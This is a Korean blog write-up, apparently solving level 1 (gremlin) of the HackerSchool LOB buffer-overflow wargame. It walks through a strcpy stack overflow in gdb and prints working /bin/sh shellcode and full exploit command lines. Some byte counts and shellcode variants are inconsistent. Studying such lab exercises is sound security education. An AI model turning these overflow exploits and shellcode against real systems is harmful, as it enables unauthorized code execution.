[풀이]
ID : gate
PW : gate
주어진 id와 pw로 접속하면 gate계정의 쉘이 나온다.
gremlin이라는 c코드와 실행파일이 존재하였고, 실행파일을 실행시키면
입력 값을 그대로 출력하는 것을 알 수 있다.
gremlin.c 코드를 확인하면 다음과 같다.
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]); //복사 받을 대상의 크기와 상관없이 모두 복사하는 함수 -> BOF 취약점 발생
printf("%s\n", buffer);
}
특별하게 보이는 것은 없어 gdb를 실행해보았다.
disass main 명령을 입력하니 at&t 문법으로 되어 있어 intel 형식으로 변환하였다.
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x100,%esp
0x8048439 <main+9>: cmpl $0x1,0x8(%ebp)
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push $0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add $0x4,%esp
0x804844c <main+28>: push $0x0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add $0x4,%esp
0x8048456 <main+38>: mov 0xc(%ebp),%eax
0x8048459 <main+41>: add $0x4,%eax
0x804845c <main+44>: mov (%eax),%edx
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push $0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add $0x8,%esp
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax]
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370 <strcpy>
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256]
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push 0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add %esp,8
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
코드를 분석해보면, main+3 을 통해 할당된 스택의 크기가 0x100(256)임을 알 수 있다.
main+62에서 ebp-256에 argv[1] 값을 저장하는데, 이는 곧 스택의 처음부터 저장한다는 것을 의미한다.
buffer[256] |
sfp[4] |
ret[4] |
gremlin의 스택 구조을 보아 2가지 방안을 생각해볼 수 있다.
1. shellcode[25]+dummy[235]+buffer address[4]
2. shellcode[25]를 환경 변수로 설정한 뒤 해당 환경 변수의 주소를 구할수 있는 c코드 작성+dummy[260]+구한 shell의 주소
1번
쉘코드는 25바이트 코드를 이용할 것이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
buffer의 주소를 구해야 하는데, 다양한 방법이 있었다.
1. 인자값 전달 후 메모리 확인
-> ebp-256으로 봐도 될 것 같음!
2. 소스코드 변경
-> %s을 %p로 변경하면 주소 값을 바로 볼 수 있음!
`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*235 + "\x28\xf9\xff\xbf"'`
?? 0xbffff968해야 될 것 같은데 28로 해야 나옴! 왜지??
2번
쉘코드를 환경변수로 설정해준다.
export SHELL = `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
SHELL에 대한 주소를 구하기 위해 /tmp 폴더로 이동해서 getenv.c라는 파일을 만든다.
int main(){
printf("address is 0x%x\n", getenv("SHELL"));
}
컴파일 후 실행해보면 주소를 구할 수 있다.
이것을 dummy[260](sfp 포함) + SHELL 주소 형태로 입력하면 exploit할 수 있다.
./gremlin `python -c 'print "A"*260+"\x9e\xfe\xff\xbf"'`
[출처]
https://mandu-mandu.tistory.com/44
https://dokhakdubini.tistory.com/41
'Wargame > 해커스쿨 LOB' 카테고리의 다른 글
[HackerSchool LOB] Level 2 문제 풀이 (0) | 2021.07.17 |
---|---|
[HackerSchool LOB] Level 0 문제 풀이 (0) | 2021.07.17 |